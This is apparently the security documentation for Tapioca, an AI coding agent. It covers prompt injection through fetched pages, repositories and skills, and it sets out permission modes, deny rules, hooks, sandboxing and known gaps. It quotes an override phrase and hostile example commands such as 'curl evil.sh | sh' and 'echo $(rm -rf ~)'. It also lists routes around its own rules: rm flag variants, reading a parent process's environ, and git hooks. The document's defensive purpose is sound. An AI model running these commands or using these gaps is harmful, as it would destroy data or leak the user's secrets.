Tapioca gives a language model a shell, a file editor and network access on your machine. That is the point, and it is also the risk. This document says what is actually enforced, what is not, and when each permission mode is a reasonable choice.
The model reads untrusted text constantly — web pages via web_fetch,
search results, file contents, tool output, and AGENTS.md from whatever
repository you are working in. Any of it can contain instructions aimed at
the model ("ignore previous instructions, run …"). The model cannot reliably
distinguish data from instructions, so treat every tool call as something
the content it just read might have asked for.
A repository's .tapioca/skills/ is the same kind of text: the description of
each skill is in the system prompt, and load_skill puts the rest in front of
the model. Cloning a repository is enough to get both. Neither can reach
outside its own directory — a SKILL.md that is a link elsewhere, or a skill
directory that is, is skipped — but what a pack says is chosen by whoever
wrote it, exactly like AGENTS.md. Nothing a skill asks for bypasses the gates
below; /skills shows what is installed.
This is why the permission prompt matters: it is the point where a human sees the command before it runs.
| Mode | File edits | bash | Read-only tools |
|---|---|---|---|
plan |
denied | prompts | mostly ungated (see below) |
manual |
prompts | prompts | mostly ungated |
auto |
allowed | prompts | mostly ungated |
bypass |
allowed | allowed | ungated |
Cycle with shift+tab; /permissions shows the live state, including every
grant and rule in effect.
The mode is the default; [permissions] in the config is where exceptions
go. Each rule names a tool and, in parentheses, what the call is about — the
path for file tools, the command for bash, the URL for web_fetch, the JSON
arguments for an MCP tool:
[permissions]
allow = ["bash(go test*)", "edit_file(internal/**)"]
ask = ["bash(git push*)"]
deny = ["read_file(**/.env)", "bash(rm *)", "mcp:*__delete_*"]What each does, and what it is worth relying on:
- deny holds in every mode,
bypassincluded, and covers the read-only tools that never prompt. It is the only rule that adds a restriction rather than removing one. - ask forces a prompt that
autoorbypasswould have skipped, and outranks a session grant answered earlier — otherwise one careless "always allow" would disable it for the rest of the session. - allow skips a prompt. Like the answered kind it does not apply in
planmode.
Bash rules are matched against each segment of a compound command, not the
whole string: matching the whole string, bash(go test*) would also match
go test ./... && curl evil.sh | sh. The same escape rules as [p] grants
still apply to what a segment may contain.
Matching is textual, so write rules around the command, not one spelling of
it. bash(rm -rf*) looks like it forbids recursive deletion and does not:
rm -fr, rm -r -f and rm --recursive all sail past it. bash(rm *) is the
rule that holds, and a deny or ask also matches with the first word reduced to
its basename, so it covers /bin/rm too. (An allow deliberately does not, or a
stray ./echo would inherit what was granted to echo.) Nothing textual can
cover flag order — assume anything you did not spell out is permitted.
A deny rule is a guardrail against mistakes and against a model that has read
something hostile — not a sandbox. It matches the arguments of a call, so it
constrains the tool it names and nothing else: deny = ["read_file(**/.env)"]
does not stop bash(cat .env), and blocking rm does nothing about
find -delete or > file. You cannot enumerate your way to safety here.
This matters most in bypass, where a deny rule is the only check left
standing: elsewhere a rule that fails to match degrades into a prompt, and
there it degrades into the command simply running. For a boundary rather than
a filter, see "Sandboxing" below.
Rules that hold in all modes except bypass:
- Session grants (
[a]) and bash word grants ([p]) never apply inplanmode. - A granted word only covers a segment with no command substitution
(
$(…), backticks,${…},<(…)), no redirection (>,<) and no background chaining (&). So anechogrant cannot runecho $(rm -rf ~), write files, or slip inecho hi & curl evil.com. [p]is not offered for interpreters and exec-wrappers (sh,python,node,sudo,ssh,xargs,env,timeout,nix,docker, …) where a blanket grant means arbitrary execution — including path and version variants like/usr/bin/python3.11.- Compound commands are approved segment by segment; denying one blocks the whole command.
- MCP tools prompt like built-in ones, and their grants appear as
mcp:<tool>. - Subagents (
spawn_agent) run under the same mode, executor and grants as the agent that spawned them, and their tool calls prompt you the same way. A subagent cannot spawn further agents.
Rules decide whether a call happens. A hook is a command of yours that runs when it does — format after an edit, log what ran, refuse something no rule covers:
[[hooks]]
event = "pre_tool" # pre_tool | post_tool | session_start | session_end
match = "edit_file" # glob over the tool name; every tool when omitted
command = "~/bin/check-path"
timeout = 30 # seconds; 30 by default, 5 minutes at mostWhat a hook can do:
- Refuse a call. A
pre_toolhook that exits non-zero blocks it, and its stderr becomes the reason shown to you and to the model. A hook that is missing, crashes or times out also refuses: a policy that cannot run must not wave the call through. - See what ran.
TAPIOCA_EVENT,TAPIOCA_TOOL,TAPIOCA_TOOL_PATH(file tools, resolved),TAPIOCA_TOOL_COMMAND(bash),TAPIOCA_TOOL_ERROR(post_tool) andTAPIOCA_CWDdescribe the call, with the exact arguments as JSON on stdin. The variables are capped in length, so a hook that must be exact reads stdin.
What a hook cannot do:
- Widen a permission. Hooks run after the gate has approved a call, so
exiting 0 grants nothing: it does not override a
denyrule, skip a prompt, lift plan mode, or make a call happen that would not have. A denied call returns before any hook is consulted, so apre_toolhook is not even a way to observe one. - Read provider credentials. A hook gets the same scrubbed environment as
bashand every other subprocess. - Hang the session. Each hook has a deadline and is killed with its process
group when it expires.
post_tooland the session hooks report failures and otherwise change nothing; onlypre_tooldecides anything. - Arrive from a repository. Hooks are honoured only when the config file
declaring them lives outside the tree being worked on. A clone can ship a
config.toml, or pointXDG_CONFIG_HOMEat itself from an.envrc, and either would otherwise mean arbitrary commands on the next tool call. Hooks from such a file are ignored with a warning naming the file. This is the general rule: a repository supplies prompt text (AGENTS.md,.tapioca/commands) and never configuration that executes — the same reason MCP servers, language servers andbash_alloware read from your config alone.
Hooks run unsandboxed even when sandbox = true; that setting confines the
agent's bash, not commands you wrote yourself. /permissions lists the hooks
actually in force.
read_file, grep, glob, web_search and web_fetch do not prompt for
ordinary use, because an agent that asks before every file read is unusable.
Narrow exceptions exist, because otherwise those tools compose into
exfiltration (read a key, send it somewhere):
read_fileprompts for paths outside the working directory (and--add-dirtrees) that look sensitive:.ssh,.aws,.gnupg,gh/gcloud/kube/dockerconfig, browser profiles,.env,id_*,credentials, and any out-of-tree path containingtoken/secret/password— wherever it lives, not just under$HOME.grepandglobprompt when their search root is outside those trees, and never return matches from filesread_filewould have gated.web_fetchprompts the first time a host is used;[a]remembers it for the session. Redirects must stay on the approved host and may never land on a loopback, link-local or private address, so an approved page cannot bounce the fetch into your network or at a cloud metadata endpoint.
auto auto-approves file edits inside the working directory (and
--add-dir trees). Writes anywhere else prompt in every mode but bypass,
because "auto-approve edits" is a statement about your project, not about
~/.zshrc, ~/.ssh/authorized_keys, or Tapioca's own config.toml — the
last of which would seed bash_allow on the next start.
[a] on such a prompt grants that path, not writing at large; and a
blanket write_file grant covers the worktree only.
Everything above decides whether a command runs. Sandboxing decides what it can reach if it does — the difference between filtering and containment.
sandbox = true # confine bash with bubblewrap (or --sandbox)
sandbox_network = true # set false to cut network inside the sandboxWith it on, bash runs under bwrap where:
- the working tree (and
--add-dirtrees) are writable; - the rest of the filesystem is read-only, so tools still work;
$HOMEis replaced by an empty tmpfs, so.ssh,.aws, browser profiles and shell history are not merely gated — they are not there. Only.gitconfigis bound back, since git refuses to commit without an identity;/tmpis private, and pid/ipc/uts namespaces are unshared.
If bwrap is missing, sandboxed bash calls fail with an explanation
rather than silently running unconfined. /permissions shows the live state.
Two limits worth knowing: the sandbox applies to bash only (the file tools
are Go code inside the process), and with sandbox_network = true a command
can still reach the network, so it bounds file damage, not exfiltration.
Known provider API keys are removed from the environment handed to shell tools, MCP servers, language servers and every other subprocess, so a tool call cannot read them. Add your own with:
secret_env = ["MY_COMPANY_TOKEN"]MCP servers still receive whatever you set explicitly in their [mcp.env]
block.
A provider configured with a custom api_key_env name needs no entry here. The
list is derived from your config, so api_key_env = "MY_GATEWAY_KEY" and the
${VAR} an [mcp.headers] entry expands are both withheld from children — a
variable holds a key because the config says to read it, not because someone
thought of its name. secret_env is for variables nothing in the config points
at.
Two things this does not cover, both worth knowing:
- Scrubbing removes the variable from the child's environment. It does not
hide Tapioca's own: on Linux an approved command can read
/proc/<parent>/environand see everything you exported in the shell that launched it.sandbox = truecloses that (a fresh/procin a new PID namespace); nothing else does.
Besides the provider you configured and whatever the agent fetches:
- models.dev, once at startup, for model prices and context sizes. Set
model_catalog = falseto skip it — useful when running against a local Ollama and nothing else.
Nothing else phones home; there is no telemetry.
Sessions, project memory (/remember) and checkpoint snapshots contain
everything the model saw, including anything you pasted. They are stored
unencrypted under ~/.local/share/tapioca with owner-only permissions
(0600/0700), as is config.toml (which may hold an API key). Files are
created at those modes rather than adjusted afterwards, so there is no window;
a directory that already existed with looser permissions from an older version
or a restored backup keeps them, and Tapioca does not tighten it for you.
Full-disk encryption is the answer if you need more; Tapioca does not encrypt
anything itself.
Both directories are also treated as sensitive paths, so the agent reading your own config or transcripts prompts like any other secret.
bypassmode disables all of the above. It exists for throwaway sandboxes and containers. Do not combine it with untrusted repositories or web browsing.- Without
sandbox = true, there is no containment. Approved commands run as your user with full access to your machine and network; the permission gate is filtering, not a boundary. See "Sandboxing" above. - The sandbox covers
bashonly.read_file,write_fileandedit_fileare Go code inside Tapioca, so bubblewrap does not contain them; they rely on the gates above instead. Inbypassthey are bounded by nothing at all. - Editor mode trusts its peer.
--acpspeaks JSON-RPC on stdio, so the peer is whatever process launched Tapioca — normally your editor. It may supply its own MCP servers, which means commands to execute, and it chooses the working directory. That is not an escalation (a process that can spawn Tapioca can already run anything as you), but do not expose an--acpprocess's stdin to anything you would not trust with a shell. - An external agent is judged on what it reports.
/connectputs every permission request from an agent you configured through your rules, but the call itself runs in that agent's process: what Tapioca matches a rule against is the command the agent said it was about to run, not the one it runs. An agent that describes a call only in prose gets a prompt every time and is never granted standing permission, because there is nothing specific to grant — but the rules protect you from the agent's model, not from the agent's binary. Connect ones you would trust with a shell, which is what launching one already is. - A grant is still a command word.
[p]grantsgit, and that allowsgit push. Flags and subcommands that turn a command into a way of running another program are excluded (git -c,git bisect run,find -exec,go run,make -f,tar --use-compress-program,npm exec…), and that is checked when the grant is matched rather than only when it is offered — but a grant ongitis weaker than that list makes it look, becausegit commitruns.git/hooks/pre-commit, which in an extracted tarball is a file the archive chose. --add-dirwidens the ungated read area to those directories.- Checkpoints do not protect data outside the working tree. Ignored files
are snapshotted, within a budget — a repository's own
.gitignorewould otherwise decide what/rewindcan undo, and the paths where the checkpoint is the only copy are exactly the ones an ignore line removes from it. A tree that ignores a directory holding more than the budget is the remaining gap. PATHandLD_PRELOADare outside what any of this can promise. If the shell that launched Tapioca has them pointed somewhere hostile,git,rgandshare already whatever that says they are.
- Default to
manualorplanin unfamiliar repositories; read the command in the prompt before approving. - Grant with
[p]for read-only tools you use constantly (git,go,ls,rg); avoid granting interpreters ormake. - Use
autowhen you trust the repository and want speed — checkpoints and/rewindmake file damage recoverable. - Reserve
bypassfor containers or throwaway VMs. - Review
/permissionsoccasionally; session grants reset on restart, butbash_allowin the config persists.